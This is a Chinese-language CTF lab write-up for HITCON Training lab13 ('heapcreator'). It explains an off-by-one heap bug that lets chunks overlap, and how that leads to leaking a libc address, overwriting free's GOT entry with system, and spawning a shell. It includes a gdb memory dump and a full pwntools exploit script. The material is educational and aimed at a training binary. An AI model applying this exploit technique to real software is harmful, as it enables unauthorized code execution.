题目:

HITCON Trainging lab13

程序分析:

create : 长度没有进行检测,如果为负数,会导致任意长度堆溢出漏洞

edit :存在 off-by-one 漏洞

利用思路

  • 利用 Off-by-one 漏洞覆盖下一个 chunk 的 size 字段
  • 申请伪造的chunk大小,造成 overlapping, 修改关键指针

要注意因为 chunk0 大小是 0x18,会用到 chunk1 的 pre_size 部分。

然后溢出的时候刚好可以覆盖到 nextchunk 的 size 部分。

然后堆布局基本是这样的:

chunk1 info(0x20) | chunk1 | chunk2 info | chunk2

所以我们 chunk1 溢出修改的是 chunk2 info 的 size, 然后这个 chunk 就会覆盖到 chunk2 的信息,

从而我们可以修改 chunk2 信息,可以用来 leak info, 修改 got 表。

内存变化

这个覆盖了 size 后的 layout

gef  x/16gx 0xb3c010-0x10
0xb3c000:	0x0000000000000000	0x0000000000000021
0xb3c010:	0x0000000000000018	0x0000000000b3c030
0xb3c020:	0x0000000000000000	0x0000000000000021
0xb3c030:	0x0068732f6e69622f	0x6161616161616161
0xb3c040:	0x6161616161616161	0x0000000000000041
0xb3c050:	0x0000000000000010	0x0000000000b3c070
0xb3c060:	0x0000000000000000	0x0000000000000021
0xb3c070:	0x0000000a62626262	0x0000000000000000

然后我们 delete 1, 根据程序分析,会 free 掉 chunk1 info 和 chunk1 这两个堆块。

然后我们再 malloc 一个 0x30 的 chunk。

这时候会 malloc 一个 0x20 的 info chunk,然后malloc 一个 0x40 的实际 chunk.

自己画下图就明白内存的关系, 0x40 的 chunkA 包含了 0x20 的 info chunkB, 这样我们写 chunkA 时,就可以构造 chunkB 的数据,也就是 size 和 Ptr 的数据。这里我们将 ptr 改成了 free 函数的 got 地址。size 是 0x30 不变的。这样show的时候就可以泄露地址了,再改写 free 的 got 表为 system, 最后成功 getshell。

这道题主要是要搞清楚 chunk 和 info chunk,在堆中实际的 layout。最终就改写了指向 chunk 的 Ptr,利用 show 和 delete 函数,达到 leak info 和 getshell 的目的。

最终 exp

from pwn import *

r = process('./heapcreator')
heap = ELF('./heapcreator')
libc = ELF('./libc.so.6')

context_level = 'debug'

def create(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def edit(idx, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(content)


def show(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


def delete(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))


#gdb.attach(r)
create(0x18,'aaaa')
create(0x10,'bbbb')

edit(0,'/bin/sh\x00'+'a'*0x10+"\x41")
delete(1)
create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free']))  #1
show(1)

r.recvuntil("Content : ")
data = r.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
log.success('free base addr: ' + hex(free_addr))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
gdb.attach(r)
system_addr = libc_base + libc.symbols['system']
#raw_input('1')                                                                    

edit(1, p64(system_addr))

# trigger system("/bin/sh")
delete(0)
r.interactive()